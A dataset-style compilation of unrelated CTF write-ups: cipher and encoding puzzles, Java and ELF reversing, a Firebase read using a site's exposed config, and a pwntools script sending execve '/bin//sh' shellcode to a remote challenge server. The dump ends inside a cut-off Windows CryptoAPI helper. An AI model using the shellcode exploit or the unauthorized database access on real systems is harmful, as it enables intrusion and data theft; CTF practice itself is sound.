text_chunk
stringlengths 151
703k
|
---|
# MHSCTF - Crypto Part
- Yonjae Lee ([emailΒ protected])
## Em Dee (10 pts)
> I have a good friend named Em. She loves secret codes, so when she challenged me this time, I was well up for it! She told me that she encoded the word "happy" as "56ab24c15b72a457069c5ea42fcfc640" and "sad" as "49f0bad299687c62334182178bfd75d8" (without the quotes) and challenged me to encode "mhsctf" using her method! I can't figure it out! What would it be? Enter your answer in flag format: "flag{...}"
According to [Hashes.com](https://hashes.com/en/decrypt/hash) the hash is Plain MD5:
```text56ab24c15b72a457069c5ea42fcfc640:happy:MD5PLAIN```
The answer is Plain MD5 Hash value of `mhsctf`, which is `fc3e3c405a66f8fe7cb7f17a838ea88c`.
**Flag: `flag{fc3e3c405a66f8fe7cb7f17a838ea88c}`**
## What's Cooking? (10 pts)
> 65 141 40 66 144 40 67 70 40 66 70 40 65 141 40 63 63 40 67 64 40 67 64 40 66 62 40 65 67 40 63 61 40 66 66 40 66 63 40 64 65 40 64 61 40 66 142 40 66 64 40 64 67 40 64 66 40 63 71
The given text is a Base64 that is encoded to Hexadecimal which is then again encoded to Octal.
Octal β Hexadecimal:
```text5a 6d 78 68 5a 33 74 74 62 57 31 66 63 45 41 6b 64 47 46 39```
Hexadecimal β Base64 :
```textZmxhZ3ttbW1fcEAkdGF9```
Base64 β ASCII then yields the flag.
**Flag: `flag{mmm_p@$ta}`**
## Peanuts (10 pts)
> Charlie Brown received this message from his good friend Pig-Pen, but it appears to be nonsense. What could it be? Remember to enter your answer in the "flag{...}" format; it's all lowercase.
The question says that Charlie received the message from a friend named Pig-Pen.
The given image message is actually a [Pigpen Cipher](https://en.wikipedia.org/wiki/Pigpen_cipher) ciphertext.

[This Wikipedia image](https://upload.wikimedia.org/wikipedia/commons/3/36/Pigpen_cipher_key.svg) is the decryption key.
**Flag: `flag{goodgriefcharliebrown}`**
## Crash Hacker (Em Dee 2) (10 pts)
> Another super-secret message from Em! What does this one mean? b4b11af47f3086ce1293df4908d026d4 Remember to enter your answer in the "flag{...}" format! Hint: If at first you don't succeed, try, try again.
Used [online MD5 decryption tool](https://www.md5online.org/md5-decrypt.html) to easily find the flag.
**Flag: `flag{zero_cool}`**
## What's Cooking? 2 (10 pts)
> More layers of encryption! (Hint: there are 5 layers)
First Layer: Base32.
```textGRYUG3ZUOFBWWNDRINVTI4KDNM2HCQ3LGRYUGQJUOFBW6NDRINXTI4KDN42HCQ3PGRYUG2ZUOFBUCNDRINVTI4KDN42HCQ3PGRYUG3ZUOFBW6Q3VJNTXCT2LM5YE6S3HOBHUWZ3QJ5FWO4CPJNTWOT2LM5YU6S3HOFHUWZ3RJ5FWO4KPJNTXCT2LM5TU6S3HOFHUWZ3RJ5FWO4KPJNTXCT2LM5YEC4TJN5FWU2LPJNKGS32LKRUW6S2UNFXUWVDJN5EUI2LPJNVGS32LNJUW6S3KNFXUW2TJN5FVI2LPJFCGS32LNJUW6S2UNFXUWVDJN5FVI2LPJNIUWNDRINXTI4KDNM2HCQ3LGRYUG2ZUOFBWWNDRINATI4KDN42HCQ3PGRYUG3ZUOFBW6NDRINVTI4KDIE2HCQ3LGRYUG2ZUOFBW6NDRINXTI4KDN5BXKS3HOFHUWZ3QJ5FWO4CPJNTXAT2LM5YE6S3HM5HUWZ3QJ5FWO4CPJNTXCT2LM5YU6S3HOFHUWZ3HJ5FWO4KPJNTXCT2LM5YU6S3HOBHUWZ3QIFZGS32LNJUW6S2UNFXUWVDJN5FVI2LPJNKGS32JIRUW6S3KNFXUW2TJN5FWU2LPJNVGS32LNJUW6SKENFXUW2TJN5FWU2LPJNVGS32LNJUW6S3HJM2HCQ3LGRYUG3ZUOFBW6NDRINXTI4KDN42HCQ2BGRYUG3ZUOFBW6NDRINXTI4KDNM2HCQ3LIN2UWZ3RJ5FWO4KPJNTXCT2LM5YU6S3HOBHUWZ3HJ5FWO4KPJNTXCT2LM5YU6S3HOFHUWZ3QIFZGS32LNJUW6S2UNFXUWVDJN5FVI2LPJNKGS32JIRUW6S2UNFXUW2TJN5FWU2LPJNVGS32LNJUW6SKENFXUW2TJN5FWU2LPJNVGS32LKRUW6S2RJM2HCQ3PGRYUG2ZUOFBWWNDRINVTI4KDNM2HCQ2BGRYUG2ZUOFBWWNDRINXTI4KDN42HCQ3PGRYUGQJUOFBW6NDRINVTI4KDNM2HCQ3LGRYUG22DOVFWO4KPJNTXAT2LM5YE6S3HOBHUWZ3QJ5FWOZ2PJNTXAT2LM5YE6S3HOFHUWZ3RJ5FWO4KPJNTWOT2LM5YU6S3HOFHUWZ3RJ5FWO4KPJNTXCQJ5HU======```
Second Layer: Base64.
```text4qCo4qCk4qCk4qCk4qCk4qCA4qCo4qCo4qCo4qCo4qCk4qCA4qCk4qCo4qCo4qCo4qCoCuKgqOKgpOKgpOKgpOKgpOKggOKgqOKgqOKgqOKgqOKgqOKggOKgqOKgqOKgqOKgqOKgpArioKjioKTioKTioKTioKTioIDioKjioKjioKjioKjioKTioIDioKjioKTioKTioKTioKQK4qCo4qCk4qCk4qCk4qCk4qCA4qCo4qCo4qCo4qCo4qCk4qCA4qCk4qCk4qCo4qCo4qCoCuKgqOKgpOKgpOKgpOKgpOKggOKgpOKgpOKgqOKgqOKgqOKggOKgqOKgqOKgqOKgpOKgpArioKjioKTioKTioKTioKTioIDioKjioKjioKjioKjioKjioIDioKjioKjioKjioKjioKgK4qCk4qCo4qCo4qCo4qCo4qCA4qCo4qCo4qCo4qCk4qCkCuKgqOKgqOKgqOKgqOKgpOKggOKgqOKgqOKgqOKgqOKgpArioKjioKTioKTioKTioKTioIDioKTioKjioKjioKjioKjioIDioKjioKjioKjioKTioKQK4qCo4qCk4qCk4qCk4qCk4qCA4qCk4qCk4qCo4qCo4qCo4qCA4qCo4qCk4qCk4qCk4qCkCuKgqOKgpOKgpOKgpOKgpOKggOKgpOKgpOKgqOKgqOKgqOKggOKgqOKgqOKgqOKgqOKgqA==```
Third Layer: Braille.
```text.--- ....- -.... .--- ..... ....- .--- ....- .--- .--- ....- --... .--- --... ...-- .--- ..... ..... -.... ...-- ....- ....- .--- -.... ...-- .--- --... .--- ```
Fourth Layer: Morse.
```text.---- ....- -.... .---- ..... ....- .---- ....- .---- .---- ....- --... .---- --... ...-- .---- ..... ..... -.... ...-- ....- ....- .---- -.... ...-- .---- --... .---- .---- --... .....```
Fifth Layer: Octet
```text146 154 141 147 173 155 63 44 163 171 175```
**Flag: `flag{m3$sy}`**
## IPv11 (15 pts)
> I asked my friend for the IP addresss of their website and this is what they gave me. I'm sure they're misunderstanding, but I should really decode this before deciding that. Remember to enter your answer in the "flag{...}" format! 1.9.100.51.110.116.105.102.105.51.100
The numbers are decimal ASCII codes.
**Flag: `flag{1d3ntifi3d}`**
## Weird Music (25 pts)
> Does this music sound familiar to you? It's a little bit different though. Remember to use the "flag{...}" format.
The given MIDI file is a Beethoven opus, but the beats sound a little off.
Opening it on a MIDI editor, I found each note looks like a part of a Morse code sequence, bar the last long note. Converting it to the letters yielded the content of the flag.
**Flag: `flag{BEEP_BOTOP}`**
## Green (30 pts)
> I'm green da ba dee da ba dah
The accompanying image was a thin, long green line (1076 x 1).

Zooming it to the maximum revealed that it is not exactly uniform in terms of color, meaning that there were different shades of green.
Analysis using ImageMagick `convert` indicates that only G of RGB is non-zero in every pixel.
Converting the Green RGB numbers to string by mapping them to ASCII table yields this text:
```textJJFEMRKNKJFU4S2KIZKTIUZSJNEVUTCGJNKVUU2KJZCVMVKSINDEWNKLKZKVKMSLJJNEIRKLKZFVKSKOIRCVGVCTJRFVUS2WJNGVGTCKJJDEKSKWJNGEWWSGKZCVEMSLJJJEGVSPKZBVISSWIVLE2USDK5EVMSKUIVKEGS2KJJCEKS2TJNLUUTSHIVLVOU2HJNNEKVSFJVJUYSSGJJCUOVSTJRFVESSVLFJVGV2JKZGEKMSVKNCEWNKGIVGVGS2VJFLEWRKXKMZEWSSKINCUWUZSKRFE4TCVKVKFGSCJKZGFMS2VGJEEUTSOIVDVMU2GJJLEUVKZKNJUOSSKINKU6VSTJNFTKRSWKNLVGR2KIZFFMR2VGJFEWWSHIVGVGMSWJNHEGRKXJZFUOSKWI5LEOUZSKZFEMTCFKVLEWWCLJZFFKUKTGIZESUSLKVLVKWSTJNHEIVKVKNJVMSZVJNDEOU2LJJFVUR2GJVJDEVSHJJCUKVKUKNHUSVSKKZGVKMSJJJHEOVSVKJJUES2OJJKU6U2TKNEU4S2VGZLFGVCLKJDEMRKSKNLUUVSKKZDVMMSLJFNEMRSNKIZE4S2OIZCVOV2TJBEVMRSWI5GVGV2KJZEEKR2SJNMEUWSGKVGVGMRSJE2UYRKPKZFFGS22IZCU2VCDIZFVMTCFK5LUGTCKKZHEKS2WJNKUSTSGKVJVGU2NJFKVURSNKEZE2SSNGJKU2USKKVFU4SSWJVJTEV2KJZCEKT2VLJJUUSSGKZKVEMSHJJLEURCFKZJUQSSKIVKUWVSLKNFU4SCVKNLFGS2LLJDVMS2NKNFEUSSIIVLVMU2WJNFEMVSBKMZE6SK2IRCTEVJSKRDUURKVGRKEGRSKGVGEMR2WINFEUWSEIZFU4Q2TJNHEYRKTKZJUWSK2IRLEKUZSJRFEUTSFJVJFGTCLJFNEMT2TGJHUSVSLKZHVMU2LJNJEKVSVKJFVMR2KJNKEKVKTJNFEUQ2WJFJEWV2KJZFEKV2XKNDUSUSGKZDVCMSXJE2U4RKXKJBUMS2WIJKVOURSKZEFKNSUGJIEUNKIKU6T2PJ5HU6Q```
The most likely possibility is that it is a Base-32 string. So I decoded it once. The result looks similar to the original:
```text=== 1st Attempt to Decode ===JJFEMRKNKJFU4S2KIZLFKUZSJNEVURCFK5KVUU2KJZDEKVKUINDESTSLKZKVKMSLJJFEIVKLKZFVER2KJRCVOVCTJVEVMRCWIVITETCKJJDEKSKWJNGEWWSGKZEVEMSLJFJEGVSLKRJUYSSWIVLE2USDK5FEMSKUIVKEWS2KJJCEKS2TJNLUUTSHIVLVKU2HJNNEGVSFJVJUYSSGJJCUOVSKK5FVSWSGJFJVGU2JKZGEMS2VKNCEWNKGIVGVGS2VJFLEUVKXKNJUQS22IRKUWUZSKNDUUSSVK5KFGSKJKZGFMR2VGJEEUTSOIVJVMU2IJNGVURSBKNJUOSSSINKU6VSTKRFFERSWJVJVGV2KIZFFMR2NKNFEWWSHIVFVGMSWJNHEGRKXJZFUMS22I5LEOVJSKZFEMTCFKVLEWWCLJVNEKVKUINFUSSSMIUZFMQ2MJM2UMRJUKNJVMS2WJNDEOUZSJJFVUR2GJVJDEVSHJJEUKVKSKNHUSVSKKZGVKMSJJJHEWVSVKJFVAS2OIZDE2U2TGJEU4TCFJ5LFGVCJJZDFKNCSKNLESVSKIZDVES2LJJNEMRSLKIZFOS2OIVKVOVSKKREVURKVGJKTEUSKJJCVIRKWJNJEWWSGIRFVGQ2WI5NEWRCFKVBUWR2VHU6T2PJ5HU======```
However it is clearly different and shorter than the original text. It seems that the original string was encoded multiple times. I repeated decoding the result, then the flag appeared.
```text1. JJFEMRKNKJFVUS2KIZDEWUZSJNFEUTCFINKVUU2KJJDUKVKRGJLEWTSMIVDVEQ2LJJFEIVKLKZFVIR2KIRCVKTSLJVEVMRCWJFITETKKJJDEKSKWJNGEWUSGKZCVEMSLJFJEGVJWKYZFISSSIVLFKUSDK5FEMSKUIVJUWSSHKZDUKS2SGJJUWTSIIVLVGU2HJNNESVSHKMZFASSGJRCUOVSTJRFVMSSWJFJVGMSJKZGEKS2VKNCEWNKFKZGVGU2VJFLEUVKXKMZEUTCKIJLE2VCLK5FE4SSVKVKFGS2JKZGFMR2VGJIEURSOIVJVMU2IJNKVURKPKNFFMSS2INLEOVSTINFU4RSVIVJFGRKKJZFFKR2WKNEUWVJTIZEU2U2RJJETEVKRKZFDKSCVGZKDEUCKGU======2. JJFEMRKZKJFFKS2KJJLECUZSJJGEUQ2VKNLEGRCKJJDUKVKTGJDEUNKMIVDVIQ2MJJFEIVKLKRFVER2KIRCU6V2TJREVURCWJFITESKJGVGEKR2SKNHEWSSGKZIVGS2PJFLEGVSLKVJVISS2IVLEKUSDK5EVMSSUIVJUWS2JLJBVMTKWJNJUUTSKIVLVGU2PJFNESVSHKUZEOSJVJZCVGVSCKNFUERSEJNJUGVSIKU3FIMSQJI2UQVJ5HU6T2PJ53. JJFEYRJUKJJVAS2JLJCUSVCDJJGEUS2FJ5LEGTCLJJDUKTKRGJDEOWSLIZDVIQ2II5LEGRSNKJFVQSKOIVCVKUSTJZEVERCWIVJTESKKIZCVMVKSJNJEWSSOIZIVGU2GI5NESVBSKBFDKSCVHU6T2PJ5HU======4. JJLE4RSPKIZEITCJLJKEOVCLKJGEMQ2FGZKFGTCHGVCFMRKXINEEURSNIRDVES2IJFEVURKRKJNFQSSFGZIT2PJ5HU======5. JVNFOR2DLIZTGTKRLFCE6TSLG5DVEWCHJFMDGRKHIIZEQRZXJE6Q====6. MZWGCZ33MQYDONK7GRXGIX3EGB2HG7I=7. flag{d075_4nd_d0ts}```
**Flag: `flag{d075_4nd_d0ts}`** |
Hash step output is zero if input is zero, otherwise its high-order bits (excluding sign) are `01` or `10`. Guess each character until the hash output's 6th or 7th bit changes, repeat for each character. |
The file `file.jar` is given. When executed with `java -jar file.jar` it promts the user for input "Enter the password:". Upon wrong input the program prints "Try again".So, obviously we need the correct input (= the flag) to get the correct answer.
Besides the main() function there are the static functions a, b, c, d, e, f withing the Main class. Basically, the input string gets passed into the functions a to f. Each function checks if a portion of the input string is correct and returns a boolean accordingly.Only if all functions a - f return true (this means that the input string is completely correct) the user gets the "correct answer".There is one catch to this:The substring which each functions checks is obfuscated and not available in clear when statically analyzed. The strings are generated via the function `private static String a(int arg7, int arg8)`. So it expects two integer and returns the unofuscated string.In order to get the strings, we could1. Use a static analyzer with built in emulation function to resolve the calls.2. Execute the jar and use a debugger or tracer to extract the strings via runtime3. Re-implement the function which unobfuscated the strings.
We chose the second method. With `java -Xdebug -agentlib:jdwp=transport=dt_socket,address=8000,server=y,suspend=y -jar file.jar` we start the execution in suspended mode until a debugger is attached at port 8000.To attach we enter `jdb -connect com.sun.jdi.SocketAttach:port=8000`. The interface is similar to gdb. With the command `trace` we can collect all function entries and exits with the return values. This way we can extract the unobfuscated strings one-by-one.
The following mapping show what checks each function will do:| function | check ||----------|-------|| a | checks if length of input string equals 39 | | d | (arg4.substring(0, 6).equals("dvCTF{")) && arg4.charAt(arg4.length() - 1) == 0x7D || c | arg4.substring(19, 30).equals("c1d284e27ff"); || f | ((String)v1.invoke(v8, ((int)30), ((int)v8.length()))).equals("97bd0987");|| e | checks if substring(12, 19) == "3cbf488" || b | (arg2.contains("327f7e")) && arg2.indexOf("327f7e") == 6 |
The resulting input (= flag) is thus:`dvCTF{327f7e3cbf488c1d284e27ff97bd0987}` |
# mine-game
Given is a binary file `file` and an ip + port.
The file is an ELF executable:`file: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-musl-x86_64.so.1, stripped`
Notice the unusual interpreter. This is the reason it can't be executed on most Ubuntu-flavored distros out of the box. It uses the libc implementation [musl](https://musl.libc.org/). On Ubuntu, musl can be installed via apt or by compiling the source code.
### Analyzing the code
The main function:

Basically, the program is a custom implementation of the popular game "minesweeper". A two dimensional array of 14 * 14 is initialized with 25 "bombs" at pseudo-random locations. The player passes a series of positions to the game. If the player hits a field with a mine, it explodes and the user loses the game. Only if all 14 * 14 - 25 = 171 places without mines have been entered correctly the player wins the game and gets the flag.
The flag is stored in an environment variable "FLAG", thus it is only accessable on the server and cannot be extraced from the sole binary.
Since the mine positioning is based on `srand()` call, it is neccessary that we use the same implemenation (e.g. glibc) which is used on the server. Luckily, it works with the standard musl package available by apt.
### Obtaining the mine arrayWhen we are at the point where we can run the binary locally, we simply attach gdb and set a breakpoint after the mine array has been initialized. We then inspect the memory and dump the whole array from memory, for example with: `x/200x mine_array_addr` (the address is not known beforehand due to dynamic linking of the program).
### Computing the input stringEvery entry which equals 42 ('*') represents a bomb. The program expects 171 integers separated by semicolon. Every integer is a flattened index in the mine array (e.g. 6 = (0,6), 14 = (1,0)). With the program `solve.py` we enter the raw array obtained with the debugger and get a nicely formatted input string to win the flag:`0;1;2;3;4;5;6;7;8;9;10;11;12;13;14;16;17;18;20;21;23;24;26;27;28;29;30;31;32;33;34;35;36;37;38;39;40;41;42;43;45;47;48;49;51;52;53;55;56;57;58;60;61;62;63;64;65;66;67;68;69;71;72;73;74;75;76;78;79;80;81;82;83;84;85;87;88;89;90;91;92;93;95;96;97;98;99;100;102;103;104;105;106;107;108;109;110;112;113;114;116;117;118;119;120;121;122;124;125;126;127;128;129;130;131;132;133;134;135;136;137;138;139;140;141;143;144;145;147;148;149;150;151;152;153;154;155;156;157;158;159;160;161;164;165;166;167;168;169;170;171;172;173;174;175;177;178;179;180;181;183;185;186;188;189;190;191;192;193;194;195` |
A message is encrypted several times using a PRNG based on the Legendre symbol. We can predict the output by supplying a composite number passing the Fermat primality test. The original message can then be recovered statistically using multiple encrypted messages. |
## **Engineer CTF 2022**### Detective
Sir Arthur wrote the Hound of B____```First of all, when we hear Sir Arthur, Sherlock Holmes comes to mind, let's imagine that this is a clue and use it. Apparently we need to use the missing letters in the word Baskerville. it was pointless to find any clues in Google. and I decided to enter them into the sherlock.```root?kali)-[/home/user/sherlock]```
1. ββ# python3 sherlock askerville1. [*] Checking username askerville on:1. [+] CapFriendly: https://www.capfriendly.com/users/askerville1. [+] Chess: https://www.chess.com/member/askerville1. [+] Coil: https://coil.com/u/askerville1. [+] FanCentro: https://fancentro.com/askerville1. [+] Fiverr: https://www.fiverr.com/askerville1. [+] GitHub: https://www.github.com/askerville1. [+] Gumroad: https://www.gumroad.com/askerville1. [+] Houzz: https://houzz.com/user/askerville1. [+] LeetCode: https://leetcode.com/askerville1. [+] Minecraft: https://api.mojang.com/users/profiles/minecraft/askerville1. [+] Pinterest: https://www.pinterest.com/askerville/1. [+] Reddit: https://www.reddit.com/user/askerville1. [+] Scribd: https://www.scribd.com/askerville1. [+] Smule: https://www.smule.com/askerville1. [+] Snapchat: https://www.snapchat.com/add/askerville1. [+] Spotify: https://open.spotify.com/user/askerville1. [+] Telegram: https://t.me/askerville1. [+] TradingView: https://www.tradingview.com/u/askerville/1. [+] VK: https://vk.com/askerville1. [+] Venmo: https://venmo.com/u/askerville1. [+] Xvideos: https://xvideos.com/profiles/askerville```I was immediately interested in the link to the github let's go there and move on``````there we are immediately greeted by such a message.```Very good Sherlock, I had been expecting you. If you came from the CTF, this is the way to go, champ! ```Perfect!``````After a little digging in the repositories, we find the flag```## **Flag is CTF{@ll-y0U_neEd}**`https://github.com/askerville/commit/commit/4b64884cff808b651bed34d2ccc83a141952f098` |
# Karen Writeup
### zer0pts CTF 2022 - crypto 304 - 8 solves
> [karen_09b3e12d31dec5649953b2a2613c05c3.tar.gz](karen_09b3e12d31dec5649953b2a2613c05c3.tar.gz)
#### Analysis
Problem source:
```pythonwith open("flag.txt", "rb") as f: flag = int.from_bytes(f.read(), "big")
n = 70m = flag.bit_length()assert n < mp = random_prime(2**512)
F = GF(p)x = random_matrix(F, 1, n)A = random_matrix(ZZ, n, m, x=0, y=2)A[randint(0, n-1)] = vector(ZZ, Integer(flag).bits())h = x*A
print(p)print(list(h[0]))```
`n = 70`, `p` is 512 bit prime.`x` is 1 by `n` matrix which its elements are chosen randomly in `Zmod(p)`.`A` is `n` by `m` matrix which elements are chosen randomly in `Zmod(2)`. `m = 351` which is flag's bit length.Single row's `A` will be substituted to `Integer(flag).bits()`. We only know `p` and `h = x * A`(`1` by `m` matrix).Our goal is to recover every element of `A` and recover flag.
### Guess the paper!
The problem reminds me of knapsack cipher, or 0/1 knapsack problem. The hard part is that, we only know the encrypted message, not public key. This problem is called the **Hidden Subset Sum Problem**. The paper: [A Polynomial-Time Algorithm for Solving the Hidden Subset Sum](https://eprint.iacr.org/2020/461.pdf) which was accepted to CRYPTO20 shows the state-of-art algorithm to solve this specfic problem. The paper even provides juicy sagemath code :D.
So, does the given contraint: `n = 70` and `m = 351` are feasible to be solved? Yes, the paper also provides the implementation of Nguyen-Stern algorithm, which is less powerful than the author's new algorithm. By doing some experiments, I successfuly applied the Nguyen-Stern algorithm to the given output and got the flag:
```zer0pts{Karen_likes_orthogonal_as_you_like}```
Problem src and output: [task.sage](task.sage), [output.txt](output.txt)
exploit driver code: [solve.sage](solve.sage) with [output.py](output.py) |
When inspecting the html, we notice that there are firebase configs. So the goal was to connect to the firebase instance as the challenge name suggested `.Collection`. The collection name could be guessed. I am using firebase version > 9 in this case.
```import firebase from "firebase/compat/app";import 'firebase/compat/firestore';
const firebaseConfig = { apiKey: 'AIzaSyDymZ5rLs40BKuNLqVBr0Uj6rKq1DW5tQ4', authDomain: 'vishwa-challenge-12.firebaseapp.com', projectId: 'vishwa-challenge-12', storageBucket: 'vishwa-challenge-12.appspot.com', messagingSenderId: '665976141772', appId: '1:665976141772:web:b45c858837d7d2066d0f69',};
const app = firebase.initializeApp(firebaseConfig);const firestore = firebase.firestore(app);
(async () => { try {
// get the first two docs const snapshot = await firestore.collection('flag').limit(2).get() // get the data from the docs snapshot.docs.forEach(doc => console.log(doc.data())); // exit process.exit(0) } catch (error) { console.log(error); }})();``` |
# Hunters_asm.nasm
```asmbits 64
lea rbp, [rsp+40]mov [rsp], rbpret```
# Hunters.py
```pyfrom pwn import *
sh = b'\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05'
# r = process('./Hunters')r = remote('chall.nitdgplug.org', 30090)
process(['nasm', './Hunters_asm.nasm'])
sleep(1)
with open('./Hunters_asm', 'rb') as f: bin_asm = f.read()
r.recvuntil(b'hunter? : ')r.sendline(bin_asm)
r.recvuntil(b'possession? : ')
r.sendline(sh)
r.interactive()```
# FLAG
**`GLUG{egg_HUnTER_cH@MpIoN}`** |
```py# https://github.com/crappycrypto/wincrypto/blob/master/wincrypto/native.py
from ctypes import FormatError, GetLastErrorfrom ctypes import windll, c_void_p, byref, create_string_buffer, c_intimport struct
from wincrypto.constants import HP_ALGID, HP_HASHSIZE, KP_KEYLEN, KP_ALGID, CRYPT_EXPORTABLE
PROV_RSA_FULL = 1PROV_RSA_AES = 24
CRYPT_NEWKEYSET = 8NTE_BAD_KEYSET = 0x80090016
def assert_success(success): if not success: raise AssertionError(FormatError())
def CryptAcquireContext(): hprov = c_void_p() success = windll.advapi32.CryptAcquireContextA(byref(hprov), 0, 0, PROV_RSA_AES, 0) if not success and GetLastError() & 0xffffffff == NTE_BAD_KEYSET: success = windll.advapi32.CryptAcquireContextA(byref(hprov), 0, 0, PROV_RSA_AES, CRYPT_NEWKEYSET) assert_success(success) return hprov
# def CryptReleaseContext(hprov):# success = windll.advapi32.CryptReleaseContext(hprov, 0)# assert_success(success)
# def CryptImportKey(hprov, keyblob, hPubKey=0):# hkey = c_void_p()# success = windll.advapi32.CryptImportKey(hprov, keyblob, len(keyblob), hPubKey, 0, byref(hkey))# assert_success(success)# return hkey
# def CryptExportKey(hkey, hexpkey, blobType):# # determine output buffer length# bdatalen = c_int(0)# success = windll.advapi32.CryptExportKey(hkey, hexpkey, blobType, 0, 0, byref(bdatalen))# assert_success(success)
# # export key# bdata = create_string_buffer(b'', bdatalen.value)# success = windll.advapi32.CryptExportKey(hkey, hexpkey, blobType, 0, bdata, byref(bdatalen))# assert_success(success)# return bdata.raw[:bdatalen.value]
# def CryptDestroyKey(hkey):# success = windll.advapi32.CryptDestroyKey(hkey)# assert_success(success)
# def CryptDecrypt(hkey, encrypted_data):# bdata = create_string_buffer(encrypted_data)# bdatalen = c_int(len(encrypted_data))# success = windll.advapi32.CryptDecrypt(hkey, 0, 1, 0, bdata, byref(bdatalen))# assert_success(success)# return bdata.raw[:bdatalen.value]
# def CryptEncrypt(hkey, plain_data):# # determine output buffer length# bdatalen_test = c_int(len(plain_data))# success = windll.advapi32.CryptEncrypt(hkey, 0, 1, 0, 0, byref(bdatalen_test), len(plain_data))# assert_success(success)# out_buf_len = bdatalen_test.value
# # encrypt data# bdata = create_string_buffer(plain_data, out_buf_len)# bdatalen = c_int(len(plain_data))# success = windll.advapi32.CryptEncrypt(hkey, 0, 1, 0, bdata, byref(bdatalen), out_buf_len)# assert_success(success)# return bdata.raw[:bdatalen.value]
# def CryptGetKeyParam(hkey, dwparam):# # determine output buffer length# bdatalen = c_int(0)# success = windll.advapi32.CryptGetKeyParam(hkey, dwparam, 0, byref(bdatalen), 0)# assert_success(success)
# # get hash param# bdata = create_string_buffer(b'', bdatalen.value)# success = windll.advapi32.CryptGetKeyParam(hkey, dwparam, bdata, byref(bdatalen), 0)# assert_success(success)# result = bdata.raw[:bdatalen.value]# if dwparam in [KP_KEYLEN, KP_ALGID]:# result = struct.unpack('I', result)[0]# return result
def CryptCreateHash(hProv, Algid): hCryptHash = c_void_p() success = windll.advapi32.CryptCreateHash(hProv, Algid, 0, None, byref(hCryptHash)) assert_success(success) return hCryptHash
def CryptHashData(hHash, data): bdata = create_string_buffer(data) dwdatalen = c_int(len(data)) success = windll.advapi32.CryptHashData(hHash, bdata, dwdatalen, 0) assert_success(success)
def CryptGetHashParam(hHash, dwParam): # determine output buffer length bdatalen = c_int(0) success = windll.advapi32.CryptGetHashParam(hHash, dwParam, 0, byref(bdatalen), 0) assert_success(success)
# get hash param bdata = create_string_buffer(b'', bdatalen.value) success = windll.advapi32.CryptGetHashParam(hHash, dwParam, bdata, byref(bdatalen), 0) assert_success(success) result = bdata.raw[:bdatalen.value] if dwParam in [HP_ALGID, HP_HASHSIZE]: result = struct.unpack('I', result)[0] return result
def CryptDestroyHash(hCryptHash): success = windll.advapi32.CryptDestroyHash(hCryptHash) assert_success(success)
# def CryptDeriveKey(hProv, Algid, hBaseData):# hkey = c_void_p()# success = windll.advapi32.CryptDeriveKey(hProv, Algid, hBaseData, CRYPT_EXPORTABLE, byref(hkey))# assert_success(success)# return hkey
l = [ 0x33, 0x12, 0x95, 0x67, 0xE0, 0xBD, 0x78, 0x7E, 0xFB, 0x15, 0xA2, 0x63, 0x07, 0xE5, 0x31, 0x1E, 0x06, 0xBA, 0x66, 0xE3, 0xB8, 0xDB, 0xC2, 0x20, 0x6A, 0xD5, 0x9F, 0x99, 0x78, 0x0A, 0x4D, 0x78, 0xDD, 0x19, 0x16, 0x96, 0xE1, 0x5E, 0x2E, 0xE2, 0x93, 0x41, 0x0D, 0x02, 0x45, 0x4C, 0x5F, 0x94, 0x61, 0xA2, 0x24, 0x9D, 0xEE, 0x6D, 0x57, 0xC7, 0x5F, 0x26, 0x4E, 0xAE, 0xB8, 0x3A, 0x37, 0x82, 0xE7, 0x5B, 0x11, 0xDA, 0x69, 0x3D, 0x7B, 0xB5, 0x27, 0x39, 0x85, 0xDC, 0xF9, 0xF0, 0x27, 0x29, 0x45, 0x5D, 0xA7, 0xE7, 0xC8, 0x0E, 0x54, 0xA0, 0x61, 0x5E, 0x00, 0xEC, 0x2A, 0xE7, 0x6D, 0x8E, 0x04, 0x24, 0x9E, 0x0C, 0x25, 0x8E, 0x1A, 0x4E, 0x43, 0xCF, 0xDA, 0xE2, 0x91, 0xA8, 0x35, 0xCD, 0x15, 0x73, 0x5F, 0x65, 0x0B, 0xBB, 0xBA, 0x04, 0x65, 0xAD, 0xA1, 0xCD, 0x98, 0x46, 0x62, 0x2A, 0xE4, 0x22, 0x3E, 0xD2, 0x0D, 0x7E, 0xA5, 0x74, 0x0A, 0x32, 0x6E, 0x2B, 0x26, 0x8C, 0xA6, 0xDB, 0x91, 0xD0, 0x41, 0xCF, 0x51, 0x94, 0xF5, 0x77, 0xE3, 0x93, 0xA8, 0xBA, 0x3B, 0x85, 0xD8, 0xE9, 0x8B, 0x53, 0x63, 0x9F, 0x15, 0x2C, 0x8F, 0xC6, 0xEF, 0x30, 0x80, 0x2F, 0xDE, 0x46, 0x2B, 0xA0, 0xBE, 0x9C, 0xF0, 0x85, 0xF7, 0x58, 0x0D, 0xC6, 0x9E, 0xFD, 0x72, 0xE0, 0x02, 0xAB, 0xBB, 0x35, 0x01, 0x17, 0x83, 0x4B, 0xF6, 0x0D, 0xCF, 0x97, 0x72, 0x29, 0xBF, 0x1E, 0x98, 0x2C, 0xF9, 0xBC, 0x63, 0xB6, 0x0E, 0xF4, 0x20, 0x52, 0xF7, 0xCE, 0x7E, 0x80, 0x0C, 0xE1, 0x21, 0x6A, 0x9A, 0xF6, 0x74, 0x1D, 0x14, 0xDF, 0x73, 0x0E, 0x53, 0xA5, 0xA0, 0x19, 0xA7, 0x10, 0x11, 0x6F, 0x69, 0x6D, 0xB4, 0xEC, 0x23, 0xA1, 0x32, 0xB7, 0x4C, 0xF6, 0xFB, 0xB3, 0xCF, 0x76, 0x17, 0xE6, 0x83, 0x13, 0xE3, 0x0E, 0x58, 0x0A, 0x4C, 0x29, 0x16, 0xBC, 0xFF, 0x30, 0xCA, 0x04, 0x7F, 0x2D, 0x6A, 0x49, 0x41, 0x68, 0xCE, 0xAF, 0x8F, 0xB9, 0x17, 0x10, 0x37, 0xA7, 0x73, 0xA9, 0xF8, 0xE7, 0x26, 0x8E, 0x29, 0x47, 0x63, 0x75, 0x4A, 0x8E, 0xFD, 0x4C, 0x73, 0x9D, 0x9F, 0x67, 0x9B, 0xFC, 0xA3, 0xAB, 0x51, 0x01, 0x06, 0xF4, 0x2D, 0xDB, 0x5D, 0xC0, 0x21, 0x6B, 0xA8, 0xBC, 0x98, 0xBA, 0x31, 0x58, 0x46, 0xC9, 0xE2, 0x20, 0x99, 0xEE, 0x4B, 0xFE, 0x54, 0xA9, 